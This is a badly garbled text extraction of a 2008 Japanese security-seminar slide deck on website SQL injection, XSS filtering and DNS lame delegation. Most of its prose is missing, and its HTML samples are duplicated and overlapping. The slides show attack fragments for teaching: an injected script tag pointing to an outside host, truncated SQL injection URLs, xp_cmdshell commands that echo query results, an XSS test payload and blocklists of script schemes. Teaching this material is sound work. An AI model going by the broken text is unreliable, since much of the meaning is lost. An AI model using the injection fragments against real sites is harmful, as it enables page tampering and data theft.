Copyright

Similar documents
対象 ポイント 対象 企業等のウェブサイト公開における安全性向上について理解を深めたい方 ポイント 主に企業ウェブに関連したセキュリティ事故のケーススタディによる脅威と対策の技術的解説 Copyright 2008 独立行政法人情報処理推進機構 2

第3回_416.ppt

スライド 1

技 術 コース 専 門 編 について 対 象 企 業 等 のウェブサイト 公 開 やシステム 運 用 にお ける 安 全 性 向 上 について 理 解 を 深 めたい 方 ポイント 主 に 企 業 ウェブに 関 連 したセキュリティ 事 故 の ケーススタディによる 脅 威 と 対 策 の 技 術

DNS DNS(Domain Name System) named(bind), tinydns(djbdns), MicrosoftDNS(Windows), etc 3 2 (1) ( ) IP IP DNS 4

untitled

untitled

DNSを「きちんと」設定しよう

PowerPoint プレゼンテーション


日本語ドメイン名運用ガイド

第2回_416.ppt

6 2 1

DNS (BIND, djbdns) JPNIC・JPCERT/CC Security Seminar 2005

_IMv2.key

1. 今 何が起こっているのか? 1.1 インターネットを取り巻く状況は? 1.2 ウェブアプリケーションの脆弱性 1.3 ウェブサイト形態と対応責任 2. 脆弱性の解説 3. ウェブサイトのセキュリティ対策方針 4. セキュリティ対策ツールの紹介 Copyright 2009 独立行政法人情報処理

ohp.mgp

ict4.key

1

1. SQL インジェクションの問題と脅威 2

ii II Web Web HTML CSS PHP MySQL Web Web CSS JavaScript Web SQL Web

~/WWW-local/compIID (WWW IID ) $ mkdir WWW-local $ cd WWW-local $ mkdir compiid 3. Emacs index.html n (a) $ cd ~/WWW/compIID

poisoning_ipsj


pdf

WEBシステムのセキュリティ技術


TCP/IP Internet Week 2002 [2002/12/17] Japan Registry Service Co., Ltd. No.3 Internet Week 2002 [2002/12/17] Japan Registry Service Co., Ltd. No.4 2

DNS DNS 2002/12/19 Internet Week 2002/DNS DAY 2

untitled

25 About what prevent spoofing of misusing a session information

FileMaker Server Getting Started Guide

FileMaker Server Getting Started Guide

CSS CSS

1 Linux UNIX-PC LAN. UNIX. LAN. UNIX. 1.1 UNIX LAN. 1.2 Linux PC Linux. 1.3 studenta odd kumabari studentb even kumabari studentc odd kumabari student

untitled


PowerPoint Presentation

IP 2.2 (IP ) IP 2.3 DNS IP IP DNS DNS 3 (PC) PC PC PC Linux(ubuntu) PC TA 2

SOC Report

ÉvÉçPM_02

tkk0408nari

untitled

untitled

スライド 0

6 2 s µ µµµ µµµµ µ µ h µs µ µµµµ µ µ µ s mµµµµµ µµµ µµ µ u m µmµµµµµ µµ µ µ µ µ µ µ µ µ s 1

2

07_経営論集2010 小松先生.indd

untitled

FileMaker Server Getting Started Guide

World Wide Web =WWW Web ipad Web Web HTML hyper text markup language CSS cascading style sheet Web Web HTML CSS HTML

etrust Access Control etrust Access Control UNIX(Linux, Windows) 2

WIDE 1

e164.arpa DNSSEC Version JPRS JPRS e164.arpa DNSSEC DNSSEC DNS DNSSEC (DNSSEC ) DNSSEC DNSSEC DNS ( ) % # (root)

FileMaker Server 9 Getting Started Guide

Oracle Application Server 10gリリース2( )Oracle HTTP Serverの概要

Web STEPS Web Web Form Cookie HTTP STEPS Web

untitled

5-5_arai_JPNICSecSemi_XssCsrf_CM_ PDF

内閣官房情報セキュリティセンター(NISC)

Wiki Wiki Wiki...

, [! [, ]! ]!,,., ([ ],). : [Name], name1 name2 name10 ([ ]!). name1 name2 : [Name]! name SuperSQL,,,,,,, < < > } =.,

MUA (Mail User Agent) MTA (Mail Transfer Agent) DNS (Domain Name System) DNS MUA MTA MTA MUA MB mailbox MB

<Documents Title Here>

08+11Extra

演習室の PC のハードディスクには演習で作成したデータは保管できません 各 PC の ネットワーク接続 ショートカットからメディア情報センターのサーバーにアクセスしてください (Z ドライブとして使用できます ) 講義で使うフォルダ 2/23

JPRS JANOG13 1. JP DNS Update 2. ENUM (ETJP) 3. JP ( ) 3 1. JP DNS Update

PowerPoint Presentation

目次

untitled

soturon2013

Network Computing の基礎

PowerPoint Presentation

Windows2000 Edge Components V Edge Components V Java Edge Components

FileMaker Server 9 Getting Started Guide

2009 Web B012-1

hands_on_4.PDF

Oracle Web Conferencing Oracle Collaboration Suite 2 (9.0.4) Creation Date: May 14, 2003 Last Update: Jan 21, 2005 Version: 1.21

_IPv6Summit金沢_IPv6アプリケーション開発.key

インターネット社会の発展

FileMaker Instant Web Publishing Guide

2 Java 35 Java Java HTML/CSS/JavaScript Java Java JSP MySQL Java 9:00 17:30 12:00 13: 項目 日数 時間 習得目標スキル Java 2 15 Web Java Java J

untitled

untitled

演習室の PC のハードディスクには演習で作成したデータは保管できません 各 PC の ネットワーク接続 ショートカットからメディア情報センターのサーバーにアクセスしてください (Z ドライブとして使用できます ) Web プログラミング 1 CGI (3 章 ) 2012/6/12( 水 ) 講義

FileMaker Server 16 インストールおよび構成ガイド

Web Web ( (SOAP (SOAP/http (WSDL UDDI 1. 2.XML 3. (XDoS http, https SOAP XML Web/App ( App

WEBサービス超入門 mask.key

CAC


johokiso-internet

shio_ PDF

インターネットマガジン2003年3月号―INTERNET magazine No.98

Web

Oracle Application Server 10g Release 3(10.1.3)Oracle HTTP Serverの概要

JIS Web Web JIS JIS 5.1.a 5.1.b 5.2.a 5.2.b 5.2.c 5.2.d 5.2.e 5.2.f 5.2.g 5.3.a 5.3.b 5.3.c 5.3.d 5.3.e 5.3.f 5.3.g 5.3.h 5.3.i 5.4.a 5.4.b 5.4.c 5.4.

Cisco® ASA シリーズルーター向けDigiCert® 統合ガイド

IW2002-B5 1 Internet Week ( ) 9:30 12:30 ( ) Copyright 2002 All Rights Reserved, by Seiji Kumagai ADSL FTTH 24 IP LAN

IW2001-B2 1 Internet Week 2001 ( ) Copyright 2001 All Rights Reserved, by Seiji Kumagai IW2001-B2 2 CodeRed Copyright 2001 All Rights

スライド 1

Transcription:

2008 pdf Copyright 2008 2008

Copyright 2008 2008 2

SQL DNS Copyright 2008 2008 3

SQL Copyright 2008 2008

1 SQL 1.1 SQL 1.2 : 1.3 SQL 1.4 SQL Copyright 2008 2008 5

1.1 SQL Copyright 2008 2008 6

1.1 SQL Copyright 2008 2008 7

SQL Copyright 2008 2008 8

1.2 : About Search Login S h o p p i n g S i t e C 200 Windows 10 Copyright 2008 2008 9

img img ul li li li About Search Login div S h o p p i n g S i t e img DB Copyright 2008 2008 10

About Search Login S h o p p i n g S i t e C Copyright 2008 2008 11

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang= ja > <head> <title>welcome to C shopping site</title> <link rel="stylesheet" href="style.css" TYPE="text/css"> <script src= http //othersite.example.net/3.js ></script> </head> HTML Copyright 2008 2008 12

Copyright 2008 2008 13

1: 2: 3: Copyright 2008 2008 14

1: DB (port 25) (port 80/443)? ( 1) DB Copyright 2008 2008 15

2? ( 2) DB Copyright 2008 2008 16

3: SQL SQL ( 3) DB /shop/cart/?no=... %20SELECT%20... %20FROM%20... %20WHE RE%20... %20HAVING%20... (...) /shop/cart/?no=... %20SELECT%20... %20FROM%20... %20WHE RE%20... %20ORDER%20... Copyright 2008 2008 17

SQL SQL UPDATE pages SET "created_at" = '2006-09-05 16:19:46', "template" = 'toppage.tmpl', "verified" = 1, "role" = NULL, "published" = 0, contents= <html><head>... SQL Copyright 2008 2008 18

... EXECUTE xp_cmdshell echo ( SELECT... FROM... )...... EXECUTE xp_cmdshell echo ( SELECT... FROM... )... OS Copyright 2008 2008 19

About XXXX/XX XX/XX S h o p p i n g S i t e WAF Copyright 2008 2008 20

何が起こっていたのか About [HTTPでのアクセス] /shop/cart/?no=... %20SELECT%20.. 悪意ある 攻撃者 Search Login [SQLでのアクセス] SELECT... FROM... WHERE... ウェブ アプリケーション データ ベース S h o p p i n g S i t e ウェブサイトに SQL インジェクションの脆弱性が あり そこを攻撃された SQL インジェクションにより ショッピングカートシ ステムのログに残らない形で ウェブページを改 ざんされた さらに OS コマンドが実行されて情報漏えいを起 こされる可能性があった Copyright 2008 独立行政法人 情報処理推進機構 2008年度情報セキュリティセミナー 21

SQL SQL Copyright 2008 2008 22

1.3 SQL 4 (CRUD) Copyright 2008 2008 23

SQL Copyright 2008 2008 24

1.4 SQL Copyright 2008 2008 25

Copyright 2008 2008 26

Copyright 2008 2008 27

2 (Prepared Statement) Perl DBI quote() PHP dbx_escape_string() s/'/''/g; Copyright 2008 2008 28

DB Copyright 2008 2008 29

SQL prepare Copyright 2008 2008 30

SQL Copyright 2008 2008 31

SQL error with query SELECT a.name, a.displname, a.passwd, a.expire_date, a.create_date, a.misc FROM account as a WHERE a.category=7 ORDER BY c.date: Can't open file: account.myd'. (errno: 145) SQL SQL SQL & Copyright 2008 2008 32

Copyright 2008 2008 33

Microsoft IIS 6 ASP ASP Copyright 2008 2008 34

PHP 5 (pni.ini ) display_errors=off HTML display_startup_errors=off ; PHP HTML error_reporting ; log_errors ; Copyright 2008 2008 35

sa (System Administrator) dba (Database Administrator) Copyright 2008 2008 36

DB Copyright 2008 2008 37

ilogscanner 47 SQL 0 IP ilogscanner http://www.ipa.go.jp/security/vuln/ilogscanner/index.html Copyright 2008 2008 38

SQL SQL OS Copyright 2008 2008 39

SQL SQL Copyright 2008 2008 40

2 Copyright 2008 2008

2 2.1 2.2 2.3 Copyright 2008 2008 42

2.1 H HTTPS Copyright 2008 2008 43

H H * H Copyright 2008 2008 44

Copyright 2008 2008 45

SECURITY TOKEN 014568 SECURITY TOKEN 014568 Copyright 2008 2008 46

H : H 32 inch TV : 100,000 Copyright 2008 2008 47

xxxxxxxxxx ID URL Copyright 2008 2008 48

xxxxxxxxxx ID Copyright 2008 2008 49

HTML * HTML Copyright 2008 2008 50

" " " " Copyright 2008 2008 51

Copyright 2008 2008 52

SQL SQL Copyright 2008 2008 53

Cookie * ID Copyright 2008 2008 54

2.2 xxxxxxxxxx xxxxxxxxxx Copyright 2008 2008 55

2.2 ><script>alert( test );</script> xxxxxxxxxx xxxxxxxxxx Copyright 2008 2008 56

XSS Copyright 2008 2008 57

2.3 HTML URL Copyright 2008 2008 58

2.3 HTML HTML Copyright 2008 2008 59

HTML/ HTML Copyright 2008 2008 60

URL HTML/ URL URL URL : URL http:// https:// data: javascript: Copyright 2008 2008 61

HTML/ : <script> </script> <script src=" "> Copyright 2008 2008 62

HTML/ expression() : Copyright 2008 2008 63

HTML/ scr ipt Copyright 2008 2008 64

HTML/ Copyright 2008 2008 65

HTML / html head title body table p script meta link thead tbody a font Copyright 2008 2008 66

HTML / <script> <xscript> javascript: xjavascript: java script: javascript: Copyright 2008 2008 67

/ Content-Type: Content-Type: text/html; charset=euc-jp meta <meta http-equiv="content-type" content="text/html; charset=euc-jp"> Copyright 2008 2008 68

: Struts(Java), Smarty(PHP), Ruby on Rails Copyright 2008 2008 69

3 http://www.ipa.go.jp/security/vuln/websecurity.html Copyright 2008 2008 70

DNS Copyright 2008 2008

3 DNS 3.1 DNS 3.2 : 3.3 3.4 3.5 DNS 3.6 LAME delegation Copyright 2008 2008 72

3.1 DNS DNS(Domain Name System) ( :www.example.jp)ip ( :192.168.0.1) DNS (JP JPRS) JPRS) DNS URL http://www.example.jp Windows 192.168.0.1 Copyright 2008 2008 73

3.2 : M 500 ISMS P (IPS) 24 Copyright 2008 2008 74

IPS v IPS WEB DB DNS MAIL M (IDC) Copyright 2008 2008 75

G website v --------------------------- Copyright 2008 2008 76

ISP Copyright 2008 2008 77

G Copyright 2008 2008 78

website Copyright 2008 <div class= maincontent > /* start <div -class= maincontent > topic area */ <div /* class= topic start id= topic_xxxx > <div -class= maincontent > area */ <p> <div </p> /* class= topic start id= topic_xxxx > <p> <div - class= maincontent > area */ <p> </p> <div </p> <p> /* class= topic start id= topic_xxxx > <p> <div - class= maincontent > area */ </p> <p> </p> <p> <div </p> <p> /* class= topic start www: - tail f area id= topic_xxxx > /var/log/apache/access_log */ </p> <p> </p> </div> <p> </p> <p> <div class= topic id= topic_xxxx > </p> <p> </p> </div> <p> </p> </div> <p> </p> </p> <p> <p> v </p> </div> <p> </p> </p> </div> --------------------------- <p> <p> </p> </p> </div> </div> <p> </p> </div> </div> </div> <div class= maincontent > /* start - topic area */ <div class= topic id= topic_xxxx > <p> </p> <p> </p> <p> </p> <p> </p> </div> </div> [~/work] DB? 2008 79

website v ---------------------------! Copyright 2008 2008 80

IP IP! C: WINDOWS>nslookup www.m.example.jp Server: mobile.isp.example.com Address: 10.1.1.1 www.m.example.jp IP Non-authoritative answer: Name:www.m.example.jp Addresses: 192.168.0.2 192.168.0.3 172.16.44.193 C: WINDOWS>nslookup type=ns m.example.jp Server: mobile.isp.example.com Address: 10.1.1.1 Non-authoritative answer: m.example.jp nameserver = ns.m.example.jp m.example.jp nameserver = ns-itaku.server.test! Copyright 2008 2008 81

3.3 DNS DNS DNS DNS ( ) Copyright 2008 2008 82

DNS (Authoritative NS) DNS (.JP JPRS ) m.example.jp DNS ns.m.example.jp ns2.m.example.jp foobar.example.jp DNS ns.foobar.example.jp ns.extend.example.jp Copyright 2008 2008 83

DNS who@m.example.jp www.m.example.net 192.168.1.2 192.168.1.4 IP DNS 192.168.0.1 IP DNS 172.16.44.193 www.m.example.net 172.16.44.193 172.16.44.193 192.168.0.4 172.16.44.193 DNS Copyright 2008 2008 84

DNS Copyright 2008 2008 85

: / ( ) ( ) = HTTP/HTTPS : http://www.ipa.go.jp/security/fy19/reports/sequential/index.html Copyright 2008 2008 86

3.4 : DNS 2 DNS DNS DNS Copyright 2008 2008 87

DNS DNS http://www.example.jp www.example.jp 192.168.0.2 WWW.EXAMPLE.JP. A.DNS.JP. WWW.EXAMPLE.JP. NS.EXAMPLE.JP. WWW.EXAMPLE.JP. 192.168.0.2 DNS DNS 13 A.DNS.JP JP5 NS.EXAMPLE.JP example.jp. DNS DNS DNS DNS (JP ) JPRS DNS Copyright 2008 2008 88

3.5 DNS: (example.jp exmaple.jp) ns.exma ple.net root-servers.net dns.jp ns.exam ple.net example.jp ns.exmaple.jp ns2.example.jp ns2.exa mple.net LAME Delegation Copyright 2008 2008 89

LAME delegation LAME delegation DNS (Authority) 1. DNS / 2. Non-authoritative answer 3. Copyright 2008 2008 90

DNS DNS ns.exma ple.net root-servers.net dns.jp ns.exam ple.net example.jp ns.exmaple.jp ns2.example.jp ns2.exa mple.net EXMAPLE.NET DNS Copyright 2008 2008 91

SSL Copyright 2008 2008 92

3.6 LAME delegation DNS DNS DNS DNSDNS DNS ( ) NS Copyright 2008 2008 93

DNS(1) DNS whois DNS whois DNS IP nslookup NS NS OK : DNS (IPA) http://www.ipa.go.jp/security/vuln/20050627_dns.html Copyright 2008 2008 94

DNS(2) DNS Bajaj ( http://www.zonecut.net/dns/ ) Copyright 2008 2008 95

2 /Authoritative /Non-authoritative Copyright 2008 2008 96

DNS DNS DNS DNS DNS DNS DNS TCP 53/udp 53/tcp DNS EDNS0 TTL (30) Copyright 2008 2008 97

DNS LAME delegation DNSLAME Delegation DNS Copyright 2008 2008 98

IPA DNS http://www.ipa.go.jp/security/vuln/20050627_dns.html IPA http://www.ipa.go.jp/security/fy19/reports/sequential/index.html JPRS DNS http://jprs.jp/tech/ JPNIC http://www.nic.ad.jp/ja/dns/lame/announce.html Copyright 2008 2008 99

Copyright 2008 2008 100

Copyright 2008 2008 101

Copyright 2008 2008 102

1

2

3